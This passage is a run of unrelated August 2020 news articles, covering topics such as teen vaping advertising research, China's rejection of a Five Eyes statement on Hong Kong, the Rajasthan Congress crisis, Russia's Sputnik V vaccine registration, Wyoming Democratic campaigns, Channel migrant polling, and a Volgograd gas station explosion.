those diverse reasons to recruit teens into using their products. And it's working." Struik and Dow-Fleisner, with their research assistants and UBCO's Associate Chief Librarian Robert Janke, reviewed more than 800 studies and viewed numerous e-cigarettes TV commercials. "The TV advertisements we reviewed were found to tap into almost all of the reasons youth cite for taking up e-cigarettes," says Dow-Fleisner. "The most highly-cited reasons were most prominently presented in the ads, including a focus on relational aspects of vaping and product-related benefits, such as a positive sensory experience." A noteworthy finding is that vaping advertisements do promote e-cigarettes as a way to enhance your social life, says Struik. "This is particularly concerning because teens are at a developmental stage when establishing a social identity is of utmost importance to them," she says. "It has been found in previous research that forming an identity around other forms of tobacco use, like smoking, results in resistance to health promotion efforts. So, we may have a more challenging context to work with than originally thought when it comes to intervening." Youth vaping is a concern, she adds, and there is a growing need for comprehensive strategic plans to curtail their use of e-cigarettes. "It is clear that we need to bring youth to the table to understand how we can generate relevant information and interventions to support their decision to not vape," says Struik. "Our health promotion efforts need to keep up by accommodating the various reasons youth report vaping, and youth need to be meaningfully included to navigate this issue." ### The research was published in the Journal of Medical Internet Research. 'Five Eyes' countries play double standard, don't representing intl community: Chinese FM Global Times Source: Global Times Published: 2020/8/10 23:03:31 China deplores and rejects the joint statement on Hong Kong issued by the foreign ministers of the Five Eyes Alliance. The statement is another example of the "Five Eyes" countries interfering in China's internal affairs and Hong Kong SAR's legislative council elections. China has lodged solemn representations with relevant countries, China's Foreign Ministry spokesperson Zhao Lijian said at Monday's media briefing. The Five Eyes Alliance includes the United States, the United Kingdom, Canada, Australia and the New Zealand. Hong Kong is a Special Administrative Region of China, and the election of the Legislative Council of the HKSAR is a local election in China, which is purely Hong Kong's internal affair. No foreign government, organization or individual has the right to interfere, nor is there any reason to interfere, Zhao noted. In the face of the severe COVID-19 epidemic, the HKSAR government decided to postpone the election of the seventh Legislative Council. This is a justifiable move to protect the life and health of the Hong Kong people and a necessary move to ensure the safety, and fairness of the Legislative Council election There is no lack of precedent in the world for postponing elections due to disasters such as the epidemic. The decision of the HKSAR government is in line with the common practice and is reasonable and lawful. "As far as I know, more than 60 countries and regions have postponed national or local elections due to the epidemic," said Zhao. In March this year, the UK announced that due to the epidemic, local elections scheduled for May in England and other places would be postponed to May 2021. This is the typical double standard of the "Five Eyes" countries to politicize the postponement of the Legislative Council election by the HKSAR government, Zhao noted. At the recent session of the UN Human Rights Council, 70 countries supported China's enactment of the national security law for Hong Kong and condemned the use of Hong Kong-related issues to interfere in China's internal affairs. This reflects the common voice and just position of the international community. The "Five Eyes" countries do not represent the international community, said Zhao. The remarks come after the Five Eyes Alliance on Sunday slammed the postponement of the election of Hong Kong's Legislative Council . NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Secretary of State Mike Pompeo is in the Czech Republic at the start of a four-nation tour of central and eastern Europe expected to focus on threats to the region posed by Russia and China. Amid post-election violence and concerns about significant democratic backsliding in nearby Belarus, Pompeo plans to use his visit to push his hosts to counter Russian and Chinese influence. Russia and China are active and seeking greater roles throughout the continent in the energy, infrastructure and telecommunications sectors, a trend the United States is keen to reverse. Pompeo on Tuesday was opening his visit in the Czech city of Pilsen, where he was to visit the Patton Museum and memorial to the World War II liberation of western Czechoslovakia by U.S. troops. In his talks, Pompeo will likely face questions about the Trump administrations decision to reduce the U.S. military presence in Germany. President Donald Trump wants to withdraw thousands of American troops from bases in Germany and redeploy some of them eastward, including to neighboring Poland, the last stop on Pompeos week-long trip. Two of Pompeos other three destinations the Czech Republic and Austria also share a border with Germany, while Slovakia borders Austria, the Czech Republic and Poland. Germany is pointedly not on Pompeos itinerary. In Prague on Wednesday, Pompeo will meet Czech President Milos Zeman and Prime Minister Andrej Babis to discuss nuclear energy cooperation and efforts to counter malign actions of Russia and communist China, the State Department said. Energy and the tenuous political situation in the Balkans will top Pompeos agenda with Slovenian officials in Ljubljana, where he is expected to deliver a statement with the foreign minister about the security of 5G networks, the department said. In Vienna, Pompeo will meet Austrian Chancellor Sebastian Kurz to review trade relations and regional security. Pompeo will also hold talks with the head of the Vienna-based U.N. nuclear watchdog, the International Atomic Energy Agency, which is charged with monitoring Irans adherence to the 2015 nuclear deal from which the U.S. has withdrawn. The Trump administration is trying to convince other members of the U.N. Security Council to indefinitely extend an arms embargo on Iran that is due to expire in October, under terms of the nuclear deal. In Warsaw, Poland, Pompeo plans talks with President Andrzej Duda, who recently won a narrow reelection after a bitter campaign that concerned human rights advocates and others. A 75-year-old man was hospitalized with life-threatening injuries following an unprovoked attack involving a metal pipe in San Franciscos Tenderloin neighborhood, authorities said Monday. At about 9:13 a.m. Friday, officers from the Tenderloin Station were called to the 400 block of Eddy Street on a report of an aggravated assault. Police found the victim, who was not identified, unconscious and bleeding from his head. He was treated by San Francisco Fire Department paramedics and taken to a hospital, where he remained Monday with life-threatening injuries. Witnesses and surveillance video led investigators to Peter Nobles, a 34-year-old Oakland resident who was arrested Friday afternoon. He has since been charged with attempted murder and other crimes, according to Alex Bastian, a spokesman for the San Francisco District Attorneys Office. Investigating officers interviewed witnesses and reviewed footage to learn the suspect had attacked the victim from behind, striking first with a blow to the head that knocked the man to the ground, police said. The suspect allegedly beat the victim several more times with the metal pipe before fleeing on foot, eastbound on Eddy Street. Officers broadcast a description of the suspect over police radio and circulated a still photo of him, which was taken from surveillance video. Nobles, who police say matched the description of the suspect, was detained by Tenderloin Station officers near McAllister and Hyde streets at about 1:39 p.m. Investigators seized additional evidence tied to the case, including what is believed to be the pipe used in the assault, police said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. In addition to one count of attempted murder, Nobles was booked into jail on suspicion of aggravated assault, elder abuse, battery resulting in serious bodily injury, probation violation, using a deadly weapon in commission of a felony, inflicting great bodily injury causing comatose, brain injury or paralysis, and inflicting great bodily injury on a victim over the age of 70. Nobles is scheduled for a court appearance Tuesday afternoon, where prosecutors will ask that he be held without bail, Bastian said. Megan Cassidy is a San Francisco Chronicle staff writer. Email: megan.cassidy@sfchronicle.com Twitter: @meganrcassidy Timely intervention by Gandhi family settled one month long Rajasthan political crisis. Pilot shared his concerns with former Congress president Rahul Gandhi on Monday afternoon, the Congress high command in the evening announced to set up a committee to hear his grievances. With the direct intervention of the Gandhi family, the month-long tussle between Rajasthan Chief Minister Ashok Gehlot and former Deputy Chief Minister Sachin Pilot seems to have been resolved. As Pilot shared his concerns with former Congress president Rahul Gandhi on Monday afternoon, the Congress high command in the evening announced to set up a committee to hear his grievances. It appears that an agreement has been reached as MLAs in Pilot group will not intervene in the Gehlot government and in return, got the assurance that no action will be taken on the rebels. Gehlot had the support of more than 100 MLAs in the 200-member assembly. On July 14, Sachin Pilot was eventually removed from the post of Rajasthan Congress President and Deputy Chief Minister for not being present in two meetings of the Legislature Party. Two MLAs of the Pilot camp lost their ministerial post, while another MLA was removed as the president of the State Youth Congress. During this time, Gehlot even called Pilot to be useless by accusing him of conspiring with the BJP to topple his government. Despite being embroiled in a legal controversy, Gehlot was also successful in getting dates for the convening of the assembly session. Also read: Trump escorted from briefing room due to firing outside White House Also read: India stands second in Covid testing after US: Trump Eventually, Gehlot forced Pilot to bow down, and four days before the assembly session, which began on August 14, Pilot met Rahul Gandhi and called a truce. Pilot assured the Congress leadership that he will help the government to prove its majority in the assembly as per the intention of the central leadership. Gehlot seems to have the number with the intervention of the Gandhi family. It is being seen as the respectful return of Sachin Pilot in the party fold. According to a top Congress leader, the clear message from Sonia Gandhi was Sachin Pilot is not to be let go. When Gehlot publicly attacked the pilot in private, he was instructed not to do so. Priyanka and Rahul Gandhi tried to convince Pilot too much in the beginning. Even after the talks got over, Priyanka Gandhi was in touch with Pilot. After efforts, Rahul Gandhi met Sachin Pilot and then the path of his was prepared, the leader added. While the Congress party stood with Gehlot on the instructions of the Gandhi family, meantime efforts were on to remove grievances of Sachin. Priyanka Gandhi was present in Rahul-Sachins meeting, after this, Priyanka met Ahmed Pilot, KC Venugopal with Pilot faction MLAs in the late evening on Monday and assured them of hearing. The high-level committee will resolve the grievances of the pilot camp. According to the sources of the Congress party, in the coming days, MLAs of the Sachin faction will be given important positions in the government and leaders will be given important responsibilities in the organization. Sachin Pilot will be given a big post at the national level in Congress. The significant aspect is that Congress President Sonia Gandhi will constitute a committee of three leaders who will look into the concerns and demands of Sachin and rebel MLAs. The committee will look into reasons why Sachin Pilot and his fellow legislators in the Gehlot government were neglected. But in Gehlot-Pilot tussle, the general secretary in-charge of Rajasthan Avinash Pande may face the heat. According to sources, in front of Priyanka Gandhi and Ahmed Patel, Sachin Pilot demanded the removal of in-charge Avinash Pande. Pilot said that Avinash Pande unilaterally supported Ashok Gehlot. According to a senior leader present in the meeting, Sachin was given the assurance that his demand will be considered. In the coming days, Pande can be removed from Rajasthan and can get the responsibility of another state, sources said. However, the challenge remains, to bring the two factions together in front of the new in-charge and before the high-level committee. Former Rajasthan Deputy chief minister Sachin Pilot on Tuesday thanked Congress interim president Sonia Gandhi and party leaders Priyanka Gandhi Vadra and Rahul Gandhi for noting and addressing his and the aggrieved MLAs grievances, stating that he will continue working for a better India to deliver on promises made to the people of Rajasthan. The meeting took place here in the national capital and all the leaders were seen maintaining social distancing and wearing face masks as a precautionary measure in view of COVID-19. The crisis faced by the Congress government in Rajasthan appears to have ended with the party, stating on Monday that Pilot had committed to working in the interest of the Congress party and the Congress government in Rajasthan and a three-member committee has been formed to address the issues raised by Pilot and the aggrieved MLAs. Taking to Twitter on Monday, Congress leader Abhishek Manu Singhvi welcomed back party leader Sachin Pilot as he lauded the teamwork under Rahul Gandhi over the resolution of the political crisis faced by party government in Rajasthan. He also lauded Rajasthan Chief Minister Ashok Gehlot, saying that his political instincts rarely fail him. Venugopal was involved in efforts to find a solution to the crisis. Party leaders Randeep Singh Surjewala and Ajay Maken had been camping in the state to extend their help to the Gehlot government in handling the crisis. The political crisis resulted from differences between Pilot and Gehlot coming out in the open. Pilot was removed as Deputy Chief Minister last month. After Pilot and 18 MLAs loyal to him did not attend meetings of the Congress Legislature Party, the party had issued disqualification notices against them which were challenged by them in court. The rebel MLAs had said that they were in the Congress and fighting for their issues against the chief minister. Earlier party leader Shashi Tharoor had hoped for an amicable resolution of the crisis. Also read: India to provide relief material to Lebanon after Beirut blasts BIRR town and the wider Church of Ireland community were plunged into grief this week after the death of the Venerable Wayne Carney, the Archdeacon of Killaloe and Rector of Birr. Described as a good and loyal friend, a true pastor and an able and caring Archdeacon by the Church of Ireland Bishop of Limerick, Killaloe and Ardfert, Kenneth Kearon, Archdeacon Carney died after suffering a heart attack at his home on Monday last (August 10). Its impossible to describe the shock and sadness we all feel at Waynes sudden passing. He was a good and loyal friend, a true pastor and an able and caring Archdeacon and will be greatly missed by the church communities in Birr and beyond where his ecumenical commitment and community engagement was well known, Bishop Kearon said He served his diocese in many roles and was widely known and respected throughout the church and in wider society. Please do pray for his wife Norma-Jean, their daughter Kathleen and son Brian and their families, and Waynes wider family at this sad time. May he rest in peace, Bishop Kearon said. Archdeacon Carney was born and grew up in Southwestern Ontario in Canada and earned his Bachelor of Arts degree from the University of Toronto, before teaching in a primary school in Toronto for 8 years. He received his Master of Divinity from Trinity College Dublin in 1984 and was ordained a Deacon in 1984 and a Priest in 1985. He served as Curate, Rector, and Associate Priest in Diocese of Toronto from 1984 to 1995 and became Rector of the Clonfert Group of Parishes in 1995 and served until 2003. He was appointed Archdeacon of Killaloe in 2002 and was installed as Rector of Birr in 2003 and was a member of the Chapter of St Patricks Cathedral since 2012. He married Norma-Jean in 1973 and they had two children; Kathleen, who is married and living in France and has two children and son Brian, who is married and living in Canada and also has two children. Before becoming a member of the clergy he was passionate about his career as a teacher, which he worked as for over ten years and was also a keen cook and reader. He was a gentleman to his fingertips and was a close friend of mine since I first came to Birr we shared so much over the years and Norma-Jean and the family are dear friends, Fr Tom Hogan P.P. in Birr told the Tribune. He was always lovely company and had the great gift of making you feel at ease in his presence. There was never any formalities or airs-and-graces and I feel so sorry for his family after his unexpected loss. He was a man who still had so much to give, Fr Hogan said. Retired Rev. Janet Whyte Spunner, who is a close friend and was with the family on Monday last when Archdeacon Carney suffered a fatal heart attack, described him as a wonderful and true friend who had a brilliant mind. He wasn't a total academic and was very easy to talk with on any topic. He was a very good and decent man who was very dedicated, she told this newspaper. The Dean of Killaloe, Very Revd Rod Smyth, is working with the family on the funeral arrangements. Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. Russia has claimed victory in the race for a coronavirus vaccine after it became the first country to officially register one and declare it ready for use Tuesday, despite less than two months of human testing and not completing final trials. President Vladimir Putin emphasized at a government meeting Tuesday that the vaccine, developed by the Moscow-based Gamaleya Institute, underwent the necessary tests and even said the vaccine already has been given to one of his daughters. I would like to repeat that it has passed all the necessary tests, he said at the meeting. The most important thing is to ensure full safety of using the vaccine and its efficiency. Putin added that one of his two adult daughters had taken part in the experiment and received two shots of the vaccine. He said his daughter had a temperature of 100.4 degrees on the day of the first injection, and then it dropped to just over 98.6 degrees the next day. After the second shot she again had a slight increase in temperature, he said. Live updates: Russia says it has a vaccine for COVID-19; Big Ten other football conferences grapple with halting fall season US and vaccine candidates: Federal spending tops $9 billion, spread among 7 companies Putin said his daughter had a high number of antibodies." He didnt specify which of his two daughters Maria or Katerina receive the vaccine. Russian scientists said they completed Phase 2 testing the first week of August and were conducting Phase 3 tests at the same time they began to vaccinate medical workers, a tactic that would never be allowed under strict U.S. and European medical safety regulations. Deputy Prime Minister Tatyana Golikova said Russia could start vaccinating doctors as early as this month. The Health Ministry said in Tuesdays statement that the vaccine is expected to provide immunity from the virus for up to two years. While Russian authorities have said medical workers, teachers and other risk groups will be the first to be inoculated, Putin emphasized the vaccine will be voluntary. Story continues The vaccine will be marketed under the name Sputnik V on foreign markets. Kirill Dmitriev, head of Russias sovereign wealth fund, compared the moment to the Soviet Unions 1957 launch of the worlds first satellite, Sputnik 1, according to Reuters. Russian President Vladimir Putin attends a meeting in the Kremlin in Moscow, Russia, Monday, Aug. 10, 2020. Russian officials have said large-scale production of the vaccine will start in September, and mass vaccination may begin as early as October. But the international scientific community is sounding the alarm that the rush to start using the vaccine before completing Phase 3 trials which usually last months and involve thousands of people could backfire. Not sure what Russia is up to but I certainly would not take a vaccine that hasnt been tested in Phase III, Florian Krammer, professor of vaccinology at the Department of Microbiology at the Icahn School of Medicine at Mount Sinai, said on Twitter Tuesday. Nobody knows if its safe or if it works. The Association of Clinical Trials Organizations (ACTO) in Russia said less than 100 people had officially received the vaccine by early August and urged the health ministry to postpone approval in a letter sent to Health Minister Mikhail Murashko Monday, according to Bloomberg. Before Putin's announcement, there were reports that Russia was trying to steal vaccine research. The United States, Britain and Canada alleged on July 16 that hackers backed by the Russian government were trying to steal information from researchers and pharmaceutical companies racing to develop a COVID-19 vaccine. The three nations say that the hacking group APT29, also known as Cozy Bear, was attacking academic and drug research institutions involved in coronavirus vaccine development. Although Russia has a long history of vaccine creation, its coronavirus efforts have been shrouded in mystery. Its vaccine candidate is listed only as in Phase 1 trials on the World Health Organization's list of vaccine candidates, and little information about it has been released. "This really is like reading the tea leaves," said said Dr. Paul Offit, director of the Vaccine Education Center at Childrens Hospital in Philadelphia. "Russian science has always been ridiculously secretive." WHO said all vaccine candidates should go through full stages of testing before being rolled out. According to WHO data, more than 100 candidates vaccines are being developed around the world, and at least four are in Phase 3 human trials. "WHO is aware that a COVID-19 vaccine has been registered in the Russian Federation's national medicines registry," the agency said in a statement to USA TODAY. "WHO is in touch with Russian scientists and authorities, and looks forward to reviewing details of the trials." Peter Pitts, president of the Center for Medicine in the Public Interest, said bad vaccines are not only ineffective against SARS-CoV-2 but also could harm public health by driving the virus to evolve and become stronger. "I dont believe in the Russian vaccine. I dont believe in playing Russian roulette with my health," Pitts said. "Vaccines are too important to allow them to become propaganda. ... The only thing that's worse than no vaccine is a bad vaccine." Contributing: Elizabeth Weise, USA TODAY; The Associated Press. Follow Adrianna Rodriguez on Twitter: @AdriannaUSAT. Health and patient safety coverage at USA TODAY is made possible in part by a grant from the Masimo Foundation for Ethics, Innovation and Competition in Healthcare. The Masimo Foundation does not provide editorial input. This article originally appeared on USA TODAY: COVID vaccine available in Russia: Putin registers coronavirus vaccine Andrew McCarthy, who captured Saturdays Hambletonian with the fantastic filly Ramona Hill, continued his roll Monday at The Meadows when he swept a $205,032 Pennsylvania Sire Stakes stop with the freshman filly trotters Flawless Country and Anoka Hanover. Flawless Country had a straightforward path to the winners circle in the event known as the Delmonica Hanover, zipping to the point from post 4 and easily turning back the first-over You Ato Dream to down her by a length in a career-best 1:55. Gimme Shelter finished third. Her connections told me she drives like a car, and she did, McCarthy said. I think shell go a long way. She has very good manners and high speed. I had to tell her what to do a little bit, but she responded and got the job done. Ake Svanstedt trains Flawless Country, a daughter of Southwind Frank-Aleah Hanover who has finished first or second in all four career starts, for Ake Svanstedt Inc, Wolfgang A Stable and Borje Nasstrom. Anoka Hanovers journey was more circuitous at least for the opening panel, when Pub Crawl looped her and left her parked out. I really like this one, McCarthy said. She still has a lot to learn, but shes very powerful and has a great gait and a willing attitude. I was hoping I could sink into a spot and maybe come first over with her, but it didnt work out that way. But shes a very strong filly. The daughter of Donato Hanover-Aunt Mel finally crossed over at the three-eighths and had little trouble from there, scoring in 1:55. Pub Crawl was second, 3-1/2 lengths back, while DDs Diamond earned show. Noel Daley conditions Anoka Hanover, who notched her first stakes victory, and owns with L.A. Express Stable and Caviart Farms. In Mondays sub feature, Love Muffin, Kaylas Playmate and Alpine each took a $20,000 split. Love Muffin had the early lead but, thanks to a slight shuffle, needed to move wide down the backside for Jim Pantaleano to reclaim the front. She drew off late to triumph in 1:55.4, a life mark, 5-3/4 lengths better than Trend, with a rallying Mother Lin third. I put her in a couple overnights to change some equipment on her, winning trainer David Wiest said. One race, it didnt work so good, so we put her back to what she was. Well just have to deal with her. She comes from a hot family, but shes one of the better ones out of the family. Edward Kimmel and Donald Wiest campaign the daughter of Andover Hall-Pine Yankee, who won her second PA stallions split. Kaylas Playmate broke stride in her two most recent outings, causing trainer Julie Miller to rethink her rigging. The results showed Monday, as the daughter of Father Patrick-Lima Playtime romped to a 3-1/2-length maiden score in 1:57.4. Midpoint and R Speed Of Light rounded out the ticket. We changed her shoes a little bit, and she seemed to behave today, said winning driver Andy Miller. I hope shes on the improve. Shes a pretty nice filly; its just a matter of getting her hung up right Live racing at The Meadows continues Tuesday when the 15-race program features a $7,199.23 carryover in the final-race Super Hi-5 and a $5,000 total-pool guarantee for the Early Pick 4 (race 3). First post is 12:45 p.m. (Meadows Standardbred Owners Association) Its been a long string of defeats for Wyomings Democrats. Nearly two decades have gone by since a Democrat was elected governor. Even more time has passed since voters here elected a Democratic senator or representative. And in the Legislature, it's been more than five decades since a Democrat served as Speaker of the House, while a Democrat hasnt led the Senate in 45 years. And while Democrats represented a respectable coalition in the Legislature as recently as 2008, when more than 20 managed to get elected, their influence has waned significantly, with Republicans now outnumbering Democrats in the statehouse by a rate of nearly six to one. Its a deep hole to dig out of. But several years after a change in leadership altered the direction of the party, the states Democrats are starting to feel more optimistic about their chances. I'm more excited about this crop of Democratic candidates than I have been in a long time, said Joe Barbuto, the chairman of the Wyoming Democratic Party and a former member of the Wyoming House of Representatives. Since Democratic Rep. Andi Cliffords upset defeat of Republican Jim Allen in Fremont County in 2018, the Democrats have been quietly but steadily building up their party infrastructure, hiring field organizers and filling out their ranks of volunteers to develop a small but efficient organization capable of replicating similar outcomes. They have also worked to manage expectations, leaving more than three-quarters of all races this cycle without a challenger in favor of a handful of quality candidates in districts Democrats perceive as vulnerable. In Lander, House Appropriations Committee member Lloyd Larsen who escaped his last general election by just five points faces a credible challenge from political newcomer Kevin Wilson, while candidates such as Rawlins Jacqueline Wells and Laramies Jackie Grimes look to present credible challenges against established Republicans. We want to run the best people in the districts where we think we have a shot of winning, said Ben Rowland, the chair of the Laramie County Democratic Party. I feel like as a Democrat in Wyoming, we've got to be realistic about the fact that we have limited resources compared to our Republican counterparts. Mounting a challenge On paper, one could reasonably conclude Democrats stand a strong chance of being competitive in a handful of districts this year. Though most districts across the state are completely out of play, there are still places such as Albany, Fremont, Sweetwater and Laramie counties, which have shown some willingness to elect Democrats. Still, running as a Democrat in Wyoming is never a sure thing, and even traditionally safe seats like outgoing Democratic Rep. John Freemans seat in Democrat-friendly Green River are always in play. It feels to me like Democrats have to work a lot harder to establish any sort of credibility or track record or talking points, said Britney Wallesch, who is running for Cheyenne's Senate District 6. But Republicans can just come in at the last minute, say all the things that they always say, and be instantly credible. While disadvantaged by the Republican dominance of state politics, Democrats still see opportunities including the current battle between mainstream conservatives and the partys right wing, which Barbuto said has forced numerous Republicans to pull further to the right in order to be successful. As Republican infighting escalates, Wallesch said, so does the challenge for moderate Republicans looking to win their primaries. And the further to the right they go, the greater the opportunity to alienate the plurality of moderate voters needed to win an election. There's a lot more of them than there are of us," she said. "And they have to fight with one another more than Democrats do. Its a dynamic Rowland hopes to take advantage of. There's this sort of division among Republicans right now, he said. And if you are a Republican that doesn't feel at home in your own party right now, were here to let you know there is another way, that Wyoming has another party and that we're standing here with open arms willing to welcome moderate Republicans that are looking for some sort of alternative to their own party. Where the opportunities are Despite Wyoming's conservative leanings, most polling conducted in the last decade has shown support for measures backed by Democratic candidates, according to one former Democratic strategist in Wyoming. Issues like Medicaid expansion and strong support for public education, they said, could potentially put Democrats in a position of strength as the state grapples with the impacts of the COVID-19 pandemic and the prospect of significant budget cuts. Meanwhile, candidates say that Republicans on the other side of the issue could potentially find themselves in a weaker position from years of opposing expansion and tax increases while focusing more on national issues like gun control and abortion. Its a line of attack Democrats say is gaining credibility with voters. All they're hearing from the other side is Hold your breath, you'll be fine, said Grimes. They tell people We're going do the same thing we've always done and it'll flip back around, you'll see just wait it out. But families just can't wait it out anymore. They're just a little bit broken and a little bit exhausted. Theyre tired of being told to do more with less. And they're ready for some kind of change. However, Democrats are cognizant that Wyoming is still a conservative state, and that policies championed by the national party have little bearing to voters here. Amid a pandemic and financial crisis, its also a scary time for voters, candidates say, and while many are pitching themselves as agents of change, they are working to portray themselves as voices of progress, rather than revolution. I think it's a mistake to say to voters that the only solution to our problem is drastic change, because then you basically put them in a position of being scared of one monster over another, said Wallesch. I do think that people are scared right now, and I think that people are realizing that the system that we've set up is failing us. And we've seen that coming for a long time. Ready for change? The last times Wyoming elected Democratic governors, the state was undergoing massive changes. Democratic Gov. Mike Sullivan, for example, took office in 1986 following a massive bust, while Gov. Dave Freudenthal was elected amid a bottom-of-the-barrel market for oil in 2002. This time, however, the shifts are permanent. And while Sullivan guided the state through budget cuts and Freudenthal eventually shepherded the state through a boom, Democrats are now left to make a compelling case to voters that their policy strategies of economic diversification, new revenues, and sustained spending on health care and education make sense at a time when many residents are anxious over their financial future. Democrats could potentially learn some lessons from past campaigns like Freudenthals, who focused a significant amount of attention toward building a coalition of young families, teachers and union workers on a populist message that people matter one which eventually swept him into the governorship in a year that, nationwide, was dominated by Republicans, according to one longtime Democratic strategist who spoke to the Star-Tribune on background. The states shift to single-member districts in the 1990s, however, have made it much more challenging for Democrats to win, setting the stage for an electoral map that, today, is dominated by competitive Republican primaries where left-leaning voters often participate. Its a shift several interviewed by the Star-Tribune blamed for the eventual collapse of the party, and a specter that still looms above Democratic candidates fighting to be viable in Republican districts. Still, Wyoming Democrats do have an advantage. They were not in power when the state's economy faltered. The Wyoming economy, being in the truly awful situation it is, is going to be like an albatross around the neck of incumbent candidates regardless of party, a former Democratic strategist in Wyoming said. Voters tend to punish incumbents for the state of the economy regardless of what it is. And I think that has led to successes for Democrats in the past. Its a war of ideas many candidates think they can win. We need folks in the Legislature who are willing to deal with reality, said Kevin Wilson, a Democratic candidate in House District 54. And I think that a lot of people are gravitating towards that message. Because I don't think they're hearing a lot of reality coming from some of the most proven voices on the right hand of the political spectrum. Love 4 Funny 5 Wow 1 Sad 0 Angry 1 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A Border Force vessel approaches a group of people thought to be migrants on an inflatable dinghy on the English Channel on Monday. (Gareth Fuller/PA via AP) Some 49% of Britons dont sympathise with the thousands of migrants who have been making the dangerous journey across the English Channel in small boats, according to a new poll. A YouGov survey carried out on Tuesday found 27% of British adults have no sympathy at all, with 22% of people having not much sympathy. More than 4,000 people have crossed the Channel from France to the UK this year, with at least 597 arriving between Thursday and Sunday alone. On the other hand, the YouGov survey of 3,163 people also showed 44% do sympathise: 19% a great deal and 25% a fair amount. The data demonstrates a divide between age groups. For example, 32% of people aged between 18 and 49 in the survey had no sympathy at all, compared to 69% of people over 50. A divide is also visible when it comes to political affiliation, with 42% of Conservative voters having no sympathy at all, compared to 9% of Labour voters. The poll came as immigration minister Chris Philp promised a new, comprehensive action plan to stem the latest surge in Channel crossings after talks with French officials. Philp, speaking in Paris, said the sheer numbers crossing the Channel were completely unacceptable to both the French and UK governments. He did not comment on the details of the new plan, only saying both countries had renewed and reaffirmed their absolute commitment to make sure this border is properly policed and this route is completely ended. 'Completely unacceptable': Chris Philp. (John Phillips/Getty Images) Meanwhile, asylum seekers are launching a legal challenge to halt their deportation after arriving in the UK by crossing the Channel. Up to 20 people were due to be put on a charter flight to France and Germany on Wednesday, according to campaigners. It is thought to be the first removal planned since the coronavirus lockdown. The Duncan Lewis law firm said it is representing 15 people from Iran, Yemen, Kuwait, Afghanistan, Iraq and Sudan who have strong claims for asylum and real reasons for wanting to stay in the UK but have been told they are being deported. Story continues A group of people thought to be migrants crossing the English Channel in a small boat headed in the direction of Dover, Kent. (Gareth Fuller/PA Images via Getty Images) Many have mental health problems and some have been identified as victims of torture, sexual assault and trafficking, according to lawyers. Lily Parrott, one of the solicitors representing some of the migrants, said: Whether the government likes it or not, under British and international law people are allowed to migrate for the purpose of seeking asylum even if it means they have to use irregular routes. The governments suggestion that they cannot is just wrong, and an abuse of power. The Home Office said it was unable to comment on ongoing legal proceedings, but a spokeswoman added: We want to see migrants who have illegally and dangerously crossed the Channel returned to mainland Europe. Since the landmark deal that saw OPEC+ agree to cut nearly 10 million barrels per day of oil production to clear the global gut created by the coronavirus pandemic and wreckless production on behalf of Saudi Arabia and a handful of eager producers, one thing has threatened the cartels success: the OPEC laggards. And Iraq is still dragging down the rest of the groups compliance rate, according to official Iraq production figures for July. Iraq has been promising to stick to the production cut deal since the beginning of July, but the market mostly dismissed Iraqs optimism. Saudi Arabia did manage to get Nigeria and Iraq to agree to make up for any overproduction in May and Juneand now Julyby continuing to underproduce their quota in August and even beyond. And oil prices are ever watchful of OPEC+s production cut performance. But according to SOMO, Iraqwho had said it would make some headway in July towards sticking more closely to its quotamade close to zero progress in doing so. Iraq produced 3.697 million barrels of oil per day in July, compared with 3.698 million barrels per day in June. This compares with its 3.592 quota. In August, Iraq was originally supposed to produce 3.804 million barrels per day. But Iraq must now cut an additional 400,000 bpd to make up for the overages of the last few months. But Iraq has a problem, and while Iraq may be willing to cut production, its semi-autonomous Kurdish region and foreign oil company presence make this tricky to implement. And without any fundamental changes, Iraqs likelihood of hitting their target in August is about as likely as it was in July, or June, or May. Iraq will now have to answer to OPECs technical monitoring committee, which will meet next week. By Julianne Geiger for Oilprice.com More Top Reads From Oilprice.com: In yet another destructive explosion following several blasts that happened around the world, a huge gas explosion caused by a fire at a gasoline station injured at least 13 people in Southwest Russia. Several eyewitnesses were able to capture the explosion that happened just 600 miles southeast of Moscow, at a gasoline station in Volgograd. The videos taken by the witnesses showed a cloud of fire and smoke as an enormous fireball shot up into the sky. Firefighters injured in the blast According to Independent, 10 of the 13 that were injured were taken to nearby hospitals. The news outlet also reported that the victims included firefighters, who responded to the area after they were called to battle the initial blaze that started at around 12:40 local time. In a statement by the head of the 1st fire and rescue unit of the region, Vladislav Kopvev, said that the responding firefighters were literally scattered by a wave caused by the blast. Based on reports, it was believed that a static electricity discharge while pumping fuel from a tanker into the station's underground tank caused the initial blaze. The station's staff were already evacuated from the area before the explosion that led to a larger blaze went off. The blaze spread to more than 1000 square meters around the station. Around 70 firefighters responded to battle the fire. Firefighting robots were also deployed in order to help extinguish the fire from its center. Read also: Major Gas Explosion in Baltimore Kills One, Injures Dozens Explosions rock the world in the past week Baltimore, Maryland Meanwhile, on Monday a gas explosion also erupted in a northwest neighborhood in Baltimore, Maryland. The blast took the life of one person and injured seven. After the explosion, crews have swept the area with the aid of K9 units in order to check if there are any other victims. Later that day another victim was pulled from the rubble, however, no information on the victim has been given yet, CBS Baltimore reported. In order to move the debris left by the explosion, large equipment was brought in by responders. Beirut, Lebanon After videos of the blast at Volgograd went viral on social media, many people quickly compared it to the blast that killed around 160 people at a port in Beirut, Lebanon last Tuesday. According to Aljazeera, the Beirut blast displaced more than 300,000 people. The Governor of the city also stated that authorities are already working on providing these people with shelter, food, and water. While the cause of the explosion has not been immediately clear at the time, it has been linked to the 2750 tonnes of ammonium nitrate that has been stored in one of the warehouses in the port. The said chemicals were confiscated by authorities six years ago and were kept there since. On Monday, the entire government of Lebanon stepped down in the aftermath of the explosion which prompted the eruption of violent protests blaming the blast in the government's negligence, CNN reported. On top of this, Lebanese Prime Minister Hassa Diab addressed the nation and announced that he along with the whole government will step down in the wake of the blast. Related article: Lebanon's Prime Minister to Resign Over Beirut Explosion That Killed Hundreds @ 2022 HNGN, All rights reserved. Do not reproduce without permission. I nterContinental Hotels Group , the company behind the Holiday Inn and Crowne Plaza chains, has cheered investors with signs of improvement in the hammered hospitality sector. IHG was among accommodation firms that suffered from coronavirus crisis-induced travel restrictions hitting guest numbers. The FTSE 100 group had to close hundreds of its over 5900 hotels since the outbreak, in line with government guidelines in different countries. But it has since reopened many sites, and chief executive Keith Barr said: The impact of this crisis on our industry cannot be underestimated, but we are seeing some very early 